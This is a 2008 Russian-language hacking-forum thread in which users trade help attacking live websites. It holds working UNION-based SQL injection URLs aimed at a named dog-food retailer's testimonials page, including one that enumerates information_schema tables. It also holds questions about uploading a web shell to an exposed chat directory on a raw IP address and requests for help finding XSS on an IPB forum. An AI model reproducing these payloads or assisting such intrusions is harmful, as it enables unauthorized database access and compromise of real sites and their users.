ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #3961  
Старый 01.12.2008, 18:45
Octave_Parango
Познающий
Регистрация: 06.11.2008
Сообщений: 93
Провел на форуме:
349682

Репутация: 30
По умолчанию

Помогите дальше раскурить:

https://www.flintriverranchdogfood.net/customer_testimonials.php?testimonial_id=-11+union+select+1,2,3,4,5,version(),7,8--

information_schema просмотрел, но вывести на страницу че-то не могу, везде еррор table doesn't exist.
 
Ответить с цитированием

  #3962  
Старый 01.12.2008, 18:49
-m0rgan-
Постоянный
Регистрация: 29.09.2008
Сообщений: 553
Провел на форуме:
2584134

Репутация: 519


Отправить сообщение для -m0rgan- с помощью ICQ
По умолчанию

Попробуй перевести название таблицы в 16битный формат.
 
Ответить с цитированием

  #3963  
Старый 01.12.2008, 19:03
Octave_Parango
Познающий
Регистрация: 06.11.2008
Сообщений: 93
Провел на форуме:
349682

Репутация: 30
По умолчанию

-m0rgan-,
Безрезультатно
 
Ответить с цитированием

  #3964  
Старый 01.12.2008, 19:12
nicusor
Участник форума
Регистрация: 19.03.2008
Сообщений: 108
Провел на форуме:
1357043

Репутация: 137
По умолчанию

Цитата:
Сообщение от Octave_Parango  
-m0rgan-,
Безрезультатно

https://www.flintriverranchdogfood.net/customer_testimonials.php?testimonial_id=1+and+1=2 +union+select+1,2,3,4,5,table_name,7,8+from+inform ation_schema.tables--
 
Ответить с цитированием

  #3965  
Старый 01.12.2008, 19:24
geforce
Постоянный
Регистрация: 21.08.2008
Сообщений: 302
Провел на форуме:
458686

Репутация: -25
Отправить сообщение для geforce с помощью ICQ
По умолчанию

Кто знает как моно воспользоваться вот этим? http://78.111.240.22/chat/skin4x-a/

????
 
Ответить с цитированием

  #3966  
Старый 01.12.2008, 19:29
159932
Постоянный
Регистрация: 28.09.2007
Сообщений: 820
Провел на форуме:
6722038

Репутация: 1385


По умолчанию

geforce
можно сделать скрин .. потом помидитировать .. или ещё что ..

.зы ничего

хотя в http://78.111.240.22/chat/skin4x-a/templates/ есть пхп файлы но я там ничего интересного не нашёл ..
 
Ответить с цитированием

  #3967  
Старый 01.12.2008, 19:35
geforce
Постоянный
Регистрация: 21.08.2008
Сообщений: 302
Провел на форуме:
458686

Репутация: -25
Отправить сообщение для geforce с помощью ICQ
Question

Цитата:
Сообщение от 159932  
geforce
можно сделать скрин .. потом помидитировать .. или ещё что ..

.зы ничего

хотя в http://78.111.240.22/chat/skin4x-a/templates/ есть пхп файлы но я там ничего интересного не нашёл ..
Кроме того что можно сделать скрин .. потом помидитировать .. или ещё что ..

Нельзя не как туда шелу кинуть?
 
Ответить с цитированием

  #3968  
Старый 01.12.2008, 19:43
o3,14um
Участник форума
Регистрация: 16.11.2006
Сообщений: 230
Провел на форуме:
599789

Репутация: 227
По умолчанию

geforce, ты с помощью этого видишь названия некоторых переменных. Можешь их проверить, авось, они не инициализируются... А если скрипт опен соурс - то ты получаешь ровным счётом ничего =)
 
Ответить с цитированием

  #3969  
Старый 01.12.2008, 19:45
qazer
Участник форума
Регистрация: 26.11.2008
Сообщений: 167
Провел на форуме:
1025333

Репутация: 112
По умолчанию

помогите найти xss) форум ipb. за адресом в личку.

все описанные баги не действуют,не могу поверить в неприступность )))
 
Ответить с цитированием

  #3970  
Старый 01.12.2008, 19:48
Octave_Parango
Познающий
Регистрация: 06.11.2008
Сообщений: 93
Провел на форуме:
349682

Репутация: 30
По умолчанию

Цитата:
Сообщение от nicusor  
https://www.flintriverranchdogfood.net/customer_testimonials.php?testimonial_id=1+and+1=2 +union+select+1,2,3,4,5,table_name,7,8+from+inform ation_schema.tables--
Эту инфу я вывел, не получается со столбцами.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ